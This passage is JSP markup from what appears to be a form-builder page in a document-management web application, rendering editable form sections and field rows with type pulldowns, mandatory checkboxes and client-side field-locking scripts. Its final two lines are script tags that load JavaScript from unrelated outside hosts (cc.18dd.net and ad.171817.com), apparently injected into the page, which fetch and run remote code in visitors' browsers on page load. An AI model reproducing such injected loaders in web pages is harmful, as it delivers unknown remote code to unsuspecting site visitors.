           <%}else{%>
	      <select name="formElementType_<%=formPageID%>_<%=i%>"  >
      		<%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
        	<%String opSelected = (PULLDOWN_MAP[k][1].equals(tmpFormSection.getIsSelected() ? FormElementType.ELEMENT_SECTION : "")) ? " selected" : "";%>
        	<option value="<%=PULLDOWN_MAP[k][1]%>"<%=opSelected%>><bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>
      		<%}%>
             </select>         
             <%}
             }%>
          
       
         </td>          
          <td class="dataField">
            <input style="display:none" type="checkbox" name="subSection_<%=formPageID%>_<%=i%>" value="Y" <%=opSubSection%>>
   	    <input type="checkbox" name="mandatory_<%=formPageID%>_<%=i%>" value="Mandatory" ><bean:message key="dms.label.mandatory"/>&nbsp;&nbsp;&nbsp;
      	   </td>
      	  </tr>
      	</table>
      </td>
    </tr>
    <tr>
      <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
    </tr>
 
    <!-- Form Section End  -->
    <% } else {      
    
      if (formObjectList.get(i)!=null) {
        FormElement formElement = (FormElement) formObjectList.get(i); 
        String opMandatory="";
        if ("Y".equals(formElement.getRequiredFlag())) {
          opMandatory = " checked";
        }
      %>
  <tr>

    <td class="greyD" width="10%" align="right">
    <a href='javaScript:onSave(<%=formPageID%>,<%=i%>)'><html:img src='IconEdit.gif'  align='absmiddle'/></a>
    <%=i+1%>:&nbsp;</td>
    <td class="dataField" width="80%" align="left">
      <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td width="170" class="dataField"><nobr>
      <input type="hidden" name="formElementID_<%=formPageID%>_<%=i%>" value="<%=formElement.getID()%>">
      
      <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <%=formElement.getFieldName()==null? "":formElement.getFieldName().replaceAll("\"", "&quot;")%>
      <input type="hidden" name="formElementName_<%=formPageID%>_<%=i%>" value='<%=formElement.getFieldName()==null? "":TextUtility.htmlEncode(formElement.getFieldName())%>'>&nbsp;&nbsp;&nbsp;      
      <%} else {%>
      <input type="text" name="formElementName_<%=formPageID%>_<%=i%>"     value='<%=formElement.getFieldName()==null? "":TextUtility.htmlEncode(formElement.getFieldName())%>' size="25" maxlength="100">&nbsp;&nbsp;&nbsp;
      <%}%>
          </nobr></td>
          <td width="80" class="dataField">
      <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
        <%if (PULLDOWN_MAP[k][1].equals(formElement.getElementType())) {%>
        <bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>
        <%}%>
      <%}%>      
      <%} else {%>
      	    <!-- The Element in DB,Yes OR No  -->
      	    <%if ((GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE) || GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) && !Utility.isEmpty(formElement.getID()) ) {%>
	      <select name="formElementType_<%=formPageID%>_<%=i%>"   >
      		<%for (int k=0; k<PULLDOWN_MAP_ELEMENT.length; k++) {%>
        	<%String opSelected = PULLDOWN_MAP_ELEMENT[k][1].equals(formElement.getElementType()) ? " selected" : "";%>
        	<option value="<%=PULLDOWN_MAP_ELEMENT[k][1]%>"<%=opSelected%>><bean:message key='<%=PULLDOWN_MAP_ELEMENT[k][0]%>'/>
      		<%}%>
             </select>         
           <%}else{%>
	      <select name="formElementType_<%=formPageID%>_<%=i%>"   >
      		<%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
        	<%String opSelected = PULLDOWN_MAP[k][1].equals(formElement.getElementType()) ? " selected" : "";%>
        	<option value="<%=PULLDOWN_MAP[k][1]%>"<%=opSelected%>><bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>
      		<%}%>
             </select>         
             <%}
             }%>
          </td>          
          <td class="dataField">
	    <input style="display:none" type="checkbox" name="subSection_<%=formPageID%>_<%=i%>" value="Y" >
	    <input type="checkbox" name="mandatory_<%=formPageID%>_<%=i%>"  value="Mandatory" <%=opMandatory%> <%=GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)?" onclick='return(false)'":""%>><bean:message key="dms.label.mandatory"/>&nbsp;&nbsp;&nbsp;
	  </td>
	 </tr>
	</table>
    </td>
  </tr>
  <tr>
    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
   <% }
      }
    %>
  <script language="Javascript">
  <!-- 
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>!=null)
    {    
      if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value!="0")
     {
      document.maintFormSectionForm.subSection_<%=formPageID%>_<%=i%>.disabled=true;
     }
    }    
    if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>!=null)
    {  
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="U")
    {
      document.maintFormSectionForm.formElementName_<%=formPageID%>_<%=i%>.readOnly=true;
    }
    }
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>!=null)
    {    
         if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="I" || document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="L" || document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="0" || document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="1")
     {
      document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=i%>.disabled=true;
     }
    } 
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>!=null)
    {
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="G")
    {
      document.maintFormSectionForm.formElementName_<%=formPageID%>_<%=i%>.readOnly=true;
    }
    }
    -->
   </script>  	
   <%
      }
	  
	  
	 //=================== Refresh Element & Section End =================
	 
	 //=================== Press Up + Begin ==============================
    if (newFieldSize!=0) {
      for (int i=listSize; i<newFieldSize; i++) {
      %>

  <tr>
    <td class="greyD" width="10%" align="right">
	    <%=i+1%>:&nbsp;
	  </td>
    <td class="dataField" width="80%" align="left">
      <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td width="170" class="dataField"><nobr>    
      <input type="hidden" name="formElementID_<%=formPageID%>_<%=i%>" value="">
      
      <input type="text" name="formElementName_<%=formPageID%>_<%=i%>"   value="" size="25" maxlength="100">&nbsp;&nbsp;&nbsp;
          </nobr></td>
          <td width="80" class="dataField">
	    <select name="formElementType_<%=formPageID%>_<%=i%>" >
      <%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>        
        <option value="<%=PULLDOWN_MAP[k][1]%>"><bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>
      <%}%>
      </select>
          </td>
          <td class="dataField"><b>
	    <input type="checkbox" name="subSection_<%=formPageID%>_<%=i%>" value="Y" ><bean:message key="form.label.is_sub_section"/>&nbsp;&nbsp;&nbsp;        
	    <input type="checkbox" name="mandatory_<%=formPageID%>_<%=i%>"  value="Mandatory" ><bean:message key="dms.label.mandatory"/>&nbsp;&nbsp;&nbsp;
           </b></td>
	    </tr>
	  </table>
    </td>
  </tr>
  <tr>
    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
<script language="Javascript">
<!--
    if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>!=null)
    {    
      if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value!="0")
     {
      document.maintFormSectionForm.subSection_<%=formPageID%>_<%=i%>.disabled=true;
     }
    } 
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="U")
    {
      document.maintFormSectionForm.formElementName_<%=formPageID%>_<%=i%>.readOnly=true;
    }
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="I" || document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="L" || document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="0")
    {
      document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=i%>.disabled=true;
    }    
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="G")
    {
      document.maintFormSectionForm.formElementName_<%=formPageID%>_<%=i%>.readOnly=true;
    }
-->
</script>
    <%}
%>

<%    
	    tmpListTotal=newFieldSize;
	  }
	  if (tmpListTotal < listSize) {
		  tmpListTotal=listSize;
		}
	  lastlistSizeTotal += tmpListTotal ;
		//========== Press Up + End ============================================
	%>
  <input type="hidden" name="tmpListTotal" value="<%=tmpListTotal%>">
  <input type="hidden" name="listSize_<%=formPageID%>" value="<%=tmpListTotal%>">
  <%}%>  
  <!-- END Form Element -->
  <input type="hidden" name="lastlistSizeTotal" value="<%=lastlistSizeTotal%>">
  
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
</table>
</div>
</td>
</tr>
</table>
<div id="bottomButtonArea">
    <div id="buttonSection"> 
    </div>
  </div>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>